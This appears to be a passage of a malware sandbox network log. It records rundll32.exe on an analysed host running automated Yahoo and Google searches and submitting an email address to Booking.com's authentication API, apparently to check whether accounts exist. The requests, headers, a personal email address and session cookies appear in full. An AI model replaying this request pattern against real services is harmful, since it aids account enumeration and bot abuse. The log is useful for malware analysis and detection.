2023-12-10 16:48:21 UTC	326	IN	Data Raw: 31 33 66 0d 0a 7b 22 63 6f 6e 74 65 78 74 22 3a 7b 22 76 61 6c 75 65 22 3a 22 55 6f 63 42 6b 68 52 35 44 70 42 49 55 62 64 6e 72 75 73 63 56 75 7a 61 76 68 5a 59 4f 6e 43 57 31 52 4a 45 4b 55 47 63 74 72 57 68 30 65 58 6b 2d 49 32 57 72 6d 5a 79 59 51 44 55 79 46 30 6e 52 6e 65 4b 31 51 4e 72 64 32 54 49 6b 41 71 79 6d 52 6d 53 35 6c 51 54 55 7a 39 46 56 37 47 50 33 58 43 36 6a 6e 6b 34 31 46 43 76 38 63 32 43 64 52 76 45 70 41 37 39 63 6e 39 6a 4c 34 47 30 78 58 5f 58 62 61 63 4c 72 48 59 6a 59 30 74 5a 69 58 69 43 56 4a 58 77 43 4f 4b 44 6c 4c 62 50 73 6e 30 69 62 65 36 6e 77 68 5f 73 58 6c 64 45 36 46 33 36 50 5f 73 74 22 7d 2c 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 52 45 47 49 53 54 45 52 5f 5f 50 41 53 53 57 4f 52 44 22 2c 22 69 64 65 6e Data Ascii: 13f{"context":{"value":"UocBkhR5DpBIUbdnruscVuzavhZYOnCW1RJEKUGctrWh0eXk-I2WrmZyYQDUyF0nRneK1QNrd2TIkAqymRmS5lQTUz9FV7GP3XC6jnk41FCv8c2CdRvEpA79cn9jL4G0xX_XbacLrHYjY0tZiXiCVJXwCOKDlLbPsn0ibe6nwh_sXldE6F36P_st"},"nextStep":"STEP_REGISTER__PASSWORD","iden
2023-12-10 16:48:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49737	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:20 UTC	863	OUT	GET /search;_ylt=AwrFD2vQ63Vl9sorb0xXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&vc=us&fr=sfp&fr2=sb-top-us.search&b=8&pz=7&bct=0&pstart=2 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=1&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226896&ltv_c=1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:21 UTC	2096	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 32 30 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:20 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:21 UTC	5750	IN	Data Raw: 36 35 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 Data Ascii: 658<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yimg
2023-12-10 16:48:21 UTC	6784	IN	Data Raw: 6c 74 28 29 2c 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 26 26 65 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 65 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 26 26 65 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 7d 2c 73 65 74 46 6f 63 75 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 28 65 29 2c 6c 28 65 29 7d 2c 63 75 72 73 6f 72 45 6e 64 3a 74 2c 73 65 6c 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 6f 3b 69 26 26 69 3c 39 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 3f 28 28 6f 3d 65 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 28 29 29 2e 6d 6f 76 65 53 74 61 72 74 Data Ascii: lt(),e.stopPropagation&&e.stopPropagation(),e.stopImmediatePropagation&&e.stopImmediatePropagation()},setFocus:function(e){t(e),l(e)},cursorEnd:t,select:function(e,t,n){var o;i&&i<9&&"undefined"!=typeof e.createTextRange?((o=e.createTextRange()).moveStart
2023-12-10 16:48:21 UTC	16384	IN	Data Raw: 73 74 22 2c 66 3d 22 61 66 74 65 72 5f 63 72 65 61 74 65 5f 69 74 65 6d 22 2c 61 3d 22 62 65 66 6f 72 65 5f 73 68 6f 77 5f 73 61 22 2c 6f 3d 22 61 66 74 65 72 5f 72 65 73 65 74 5f 76 69 65 77 22 2c 6d 3d 22 62 65 66 6f 72 65 5f 68 69 64 65 5f 76 69 65 77 22 2c 67 3d 22 61 66 74 65 72 5f 68 69 64 65 5f 76 69 65 77 22 2c 78 3d 22 61 66 74 65 72 5f 65 78 70 61 6e 64 65 64 22 2c 52 3d 22 61 66 74 65 72 5f 69 6e 69 74 5f 63 6f 6e 74 72 6f 6c 6c 65 72 22 2c 41 3d 22 63 6c 69 63 6b 5f 61 73 73 69 73 74 22 2c 4e 3d 22 62 65 66 6f 72 65 5f 71 75 65 72 79 5f 61 73 73 69 73 74 22 2c 4c 3d 22 62 65 66 6f 72 65 5f 6b 65 79 5f 73 75 62 6d 69 74 22 2c 50 3d 22 62 65 66 6f 72 65 5f 62 75 74 74 6f 6e 5f 73 75 62 6d 69 74 22 2c 46 3d 22 62 65 66 6f 72 65 5f 73 75 62 6d 69 Data Ascii: st",f="after_create_item",a="before_show_sa",o="after_reset_view",m="before_hide_view",g="after_hide_view",x="after_expanded",R="after_init_controller",A="click_assist",N="before_query_assist",L="before_key_submit",P="before_button_submit",F="before_submi
2023-12-10 16:48:21 UTC	992	IN	Data Raw: 6d 65 29 26 26 28 61 3d 22 6e 65 67 61 74 69 76 65 22 29 3b 6c 65 74 20 65 3d 22 22 3b 22 43 22 21 3d 3d 74 2e 73 74 61 74 75 73 26 26 28 6f 3d 24 65 28 22 53 22 3d 3d 3d 74 2e 73 74 61 74 75 73 3f 74 2e 64 65 70 61 72 74 75 72 65 5f 74 69 6d 65 7c 7c 74 2e 64 65 70 61 74 75 72 65 5f 74 69 6d 65 3a 74 2e 61 72 72 69 76 61 6c 5f 74 69 6d 65 29 2c 6e 3d 22 22 2c 22 30 22 3d 3d 3d 74 2e 6f 6e 74 69 6d 65 26 26 28 6e 2b 3d 22 20 28 77 61 73 20 22 2b 24 65 28 22 53 22 3d 3d 3d 74 2e 73 74 61 74 75 73 3f 74 2e 73 63 68 65 64 75 6c 65 64 5f 64 65 70 61 74 75 72 65 5f 74 69 6d 65 3a 74 2e 73 63 68 65 64 75 6c 65 64 5f 61 72 72 69 76 61 6c 5f 74 69 6d 65 29 2b 22 29 22 29 2c 65 3d 69 2e 64 65 73 63 50 72 65 66 69 78 5b 74 2e 73 74 61 74 75 73 5d 2b 22 20 22 2b 6f Data Ascii: me)&&(a="negative");let e="";"C"!==t.status&&(o=$e("S"===t.status?t.departure_time\|\|t.depature_time:t.arrival_time),n="","0"===t.ontime&&(n+=" (was "+$e("S"===t.status?t.scheduled_depature_time:t.scheduled_arrival_time)+")"),e=i.descPrefix[t.status]+" "+o
2023-12-10 16:48:21 UTC	8608	IN	Data Raw: 66 69 67 2c 69 3d 74 68 69 73 2e 61 70 70 2e 66 6f 72 6d 61 74 2c 73 3d 65 2e 69 64 78 2c 6e 3d 65 2e 6d 2c 65 3d 65 2e 66 64 3b 74 2e 65 6e 61 62 6c 65 64 26 26 35 33 3d 3d 3d 6e 26 26 65 26 26 30 3d 3d 3d 73 26 26 22 31 2e 30 30 22 3d 3d 3d 65 2e 6e 75 6d 26 26 28 65 2e 74 69 74 6c 65 3d 69 28 74 2e 74 69 74 6c 65 54 70 6c 2c 5b 65 2e 66 72 6f 6d 55 6e 69 74 2c 65 2e 74 69 74 6c 65 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 74 29 7b 76 61 72 20 69 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 73 3d 74 2e 69 64 78 2c 6e 3d 74 2e 6d 2c 74 3d 74 2e 66 64 3b 69 2e 65 6e 61 62 6c 65 64 26 26 35 33 3d 3d 3d 6e 26 26 30 3d 3d 3d 73 26 26 74 26 26 28 65 2e 6c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 73 61 2d 63 75 72 72 65 6e 63 79 22 29 2c 22 31 Data Ascii: fig,i=this.app.format,s=e.idx,n=e.m,e=e.fd;t.enabled&&53===n&&e&&0===s&&"1.00"===e.num&&(e.title=i(t.titleTpl,[e.fromUnit,e.title]))}function nt(e,t){var i=this.config,s=t.idx,n=t.m,t=t.fd;i.enabled&&53===n&&0===s&&t&&(e.li.classList.add("sa-currency"),"1
2023-12-10 16:48:21 UTC	13112	IN	Data Raw: 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 64 65 6c 61 79 42 65 66 6f 72 65 46 65 74 63 68 3a 33 30 30 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 7b 63 73 73 3a 22 73 61 2d 73 68 2d 70 68 22 2c 68 74 6d 6c 3a 27 54 68 69 73 20 73 65 61 72 63 68 20 77 61 73 20 72 65 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 2f 68 69 73 74 6f 72 79 22 3e 4d 61 6e 61 67 65 20 68 69 73 74 6f 72 79 3c 2f 61 3e 27 7d 2c 6c 6f 67 3a 7b 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 20 68 69 73 74 6f 72 79 22 2c 72 73 70 6e 73 3a 22 75 70 64 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 34 3a 22 63 6c 65 61 72 20 68 69 73 74 6f 72 79 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 65 2e 6b 65 79 43 6f 64 Data Ascii: t(){this.config={delayBeforeFetch:300,placeholder:{css:"sa-sh-ph",html:'This search was removed <a href="/history">Manage history</a>'},log:{sec:"search",slk:"clear history",rspns:"upd",t2:"search",t4:"clear history"}}}function Ht(){function e(e){e.keyCod
2023-12-10 16:48:21 UTC	16384	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 3b 74 2e 70 61 73 66 3d 5b 5d 2c 74 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 6c 2c 62 65 2c 74 29 2c 65 2e 6f 6e 28 66 2c 45 65 2c 74 29 2c 65 2e 6f 6e 28 49 2c 5f 65 2c 74 29 7d 7d 2c 43 65 29 2c 64 2e 73 61 52 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 28 54 65 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 2e 70 61 73 66 3d 5b 5d 2c 74 2e 72 65 6c 61 74 65 64 53 74 6f 63 6b 73 3d 5b 5d 2c 74 2e 62 65 66 6f 72 65 4e 6f 64 65 3d 6e 75 6c 6c 2c 74 2e 63 75 72 72 65 6e 74 50 6f 73 3d 30 2c 28 74 2e 61 70 70 3d 65 29 2e 6f 6e 28 66 2c 77 65 2c 74 29 2c 65 Data Ascii: ar t=this;t.pasf=[],t.relatedStocks=[],t.beforeNode=null,(t.app=e).on(l,be,t),e.on(f,Ee,t),e.on(I,_e,t)}},Ce),d.saRelatedStocks=(Te.prototype={init:function(e){var t=this;t.pasf=[],t.relatedStocks=[],t.beforeNode=null,t.currentPos=0,(t.app=e).on(f,we,t),e
2023-12-10 16:48:21 UTC	2440	IN	Data Raw: 73 20 2e 64 64 2e 6c 72 72 48 6f 74 65 6c 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 61 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 2e 6c 72 72 4c 6f 63 61 6c 20 70 20 61 2c 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 61 72 64 52 65 67 20 2e 64 64 2e 6c 72 72 48 6f 74 65 6c 20 70 20 61 2c 2e 63 73 2d 6c 62 6f 78 2d 6f 76 65 72 6c 61 79 20 2e 63 73 2d 6c 62 6f 78 20 61 2c 23 72 65 73 75 6c 74 73 20 2e 4c 6f 63 61 6c 50 63 2d 6c 69 73 74 69 6e 67 73 20 2e 63 6f 6d 70 4a 73 54 6f 67 67 6c 65 20 61 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 64 64 2e 53 70 6f 72 74 73 54 6d 53 63 20 2e 63 6f 6d 70 54 69 74 6c 65 20 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 Data Ascii: s .dd.lrrHotel .compTitle .title a,#results #right .cardReg .dd.lrrLocal p a,#results #right .cardReg .dd.lrrHotel p a,.cs-lbox-overlay .cs-lbox a,#results .LocalPc-listings .compJsToggle a span,#results #web .dd.SportsTmSc .compTitle .title span,#results
2023-12-10 16:48:21 UTC	832	IN	Data Raw: 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2e 73 74 72 73 2b 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 2e 62 64 63 20 23 66 74 2c 20 2e 62 64 63 20 23 66 74 20 61 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 72 73 45 78 70 54 6f 70 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 72 73 45 78 70 54 6f 70 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 2e 66 63 2d 34 74 68 7b 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 65 72 73 49 6e 74 6c 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 73 70 61 6e 2e 70 6f 61 2d Data Ascii: .compText span.strs+a{color:#4d5156}.bdc #ft, .bdc #ft a{color:#4d5156}#results #web .AnswrsExpTop .compArticleList span{color:#4d5156}#results #web .AnswrsExpTop .compArticleList .fc-4th{color:#4d5156}#results #web .AnswersIntl .compArticleList span.poa-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49738	142.250.217.196	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:20 UTC	803	OUT	GET /search?q=ford+bronco+custom+2021&ie=utf-8&oe=utf-8&num=100&hl=en&gl=US&uule=w+CAIQICIPTmV3IFlvcmssTlksVVNB HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36 Cookie: CONSENT=YES+US.en Referer: https://www.google.com/ Connection: close sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="102" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2023-12-10 16:48:21 UTC	2340	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 25 33 46 71 25 33 44 66 6f 72 64 25 32 42 62 72 6f 6e 63 6f 25 32 42 63 75 73 74 6f 6d 25 32 42 32 30 32 31 25 32 36 69 65 25 33 44 75 74 66 2d 38 25 32 36 6f 65 25 33 44 75 74 66 2d 38 25 32 36 6e 75 6d 25 33 44 31 30 30 25 32 36 68 6c 25 33 44 65 6e 25 32 36 67 6c 25 33 44 55 53 25 32 36 75 75 6c 65 25 33 44 77 25 32 42 43 41 49 51 49 43 49 50 54 6d 56 33 49 46 6c 76 63 6d 73 73 54 6c 6b 73 56 56 4e 42 26 68 6c 3d 65 6e 26 71 3d 45 67 52 6d 67 5a 6a Data Ascii: HTTP/1.1 302 FoundLocation: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dford%2Bbronco%2Bcustom%2B2021%26ie%3Dutf-8%26oe%3Dutf-8%26num%3D100%26hl%3Den%26gl%3DUS%26uule%3Dw%2BCAIQICIPTmV3IFlvcmssTlksVVNB&hl=en&q=EgRmgZj
2023-12-10 16:48:21 UTC	550	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 25 33 46 71 25 33 44 66 6f 72 64 25 32 42 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dford%2B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49740	18.244.102.65	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:23 UTC	578	OUT	POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1 Host: account.booking.com Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/json Content-Length: 83 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Origin: https://account.booking.com Referer: https://account.booking.com/ X-Booking-Client: ap X-Requested-With: XMLHttpRequest
2023-12-10 16:48:23 UTC	83	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 2c 22 76 61 6c 75 65 22 3a 22 70 65 74 65 72 2e 6d 6f 72 6f 63 68 6f 40 63 65 6e 74 72 75 6d 2e 73 6b 22 7d 7d Data Ascii: {"identifier":{"type":"IDENTIFIER_TYPE__EMAIL","value":"peter.morocho@centrum.sk"}}
2023-12-10 16:48:24 UTC	2682	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 73 65 72 76 65 72 3a 20 65 6e 76 6f 79 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 32 34 20 47 4d 54 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 62 6b 6e 67 5f 73 73 6f 5f 73 65 73 73 69 6f 6e 3d 65 33 30 3b 20 64 6f 6d 61 69 6e 3d 2e 62 6f 6f 6b 69 6e 67 2e 63 6f 6d 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 30 38 2d 44 65 63 2d 32 30 32 38 20 31 36 3a 34 Data Ascii: HTTP/1.1 200 OKContent-Type: application/json; charset=UTF-8Transfer-Encoding: chunkedConnection: closeserver: envoydate: Sun, 10 Dec 2023 16:48:24 GMTset-cookie: bkng_sso_session=e30; domain=.booking.com; path=/; expires=Fri, 08-Dec-2028 16:4
2023-12-10 16:48:24 UTC	346	IN	Data Raw: 31 35 33 0d 0a 7b 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 52 45 47 49 53 54 45 52 5f 5f 50 41 53 53 57 4f 52 44 22 2c 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 22 70 65 74 65 72 2e 6d 6f 72 6f 63 68 6f 40 63 65 6e 74 72 75 6d 2e 73 6b 22 2c 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 7d 2c 22 63 6f 6e 74 65 78 74 22 3a 7b 22 76 61 6c 75 65 22 3a 22 55 6f 38 42 6b 68 52 35 44 70 42 49 55 62 65 77 56 66 6d 51 72 44 52 68 38 6c 39 6f 68 38 42 67 76 69 55 54 39 35 30 6f 48 42 7a 73 34 67 63 66 63 6b 48 38 70 4d 6d 72 48 70 57 35 6d 45 70 72 6a 54 56 78 50 41 79 58 4a 31 74 37 52 70 48 6a 74 30 5a 4f 55 47 59 4f 78 6d 6b 2d 52 53 41 6b 76 58 65 67 36 74 42 71 68 44 61 37 31 6d Data Ascii: 153{"nextStep":"STEP_REGISTER__PASSWORD","identifier":{"value":"peter.morocho@centrum.sk","type":"IDENTIFIER_TYPE__EMAIL"},"context":{"value":"Uo8BkhR5DpBIUbewVfmQrDRh8l9oh8BgviUT950oHBzs4gcfckH8pMmrHpW5mEprjTVxPAyXJ1t7RpHjt0ZOUGYOxmk-RSAkvXeg6tBqhDa71m
2023-12-10 16:48:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49742	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:24 UTC	874	OUT	GET /search;_ylt=AwrFGC7U63Vlv5srJn1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=15&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=2&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226900&ltv_c=2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
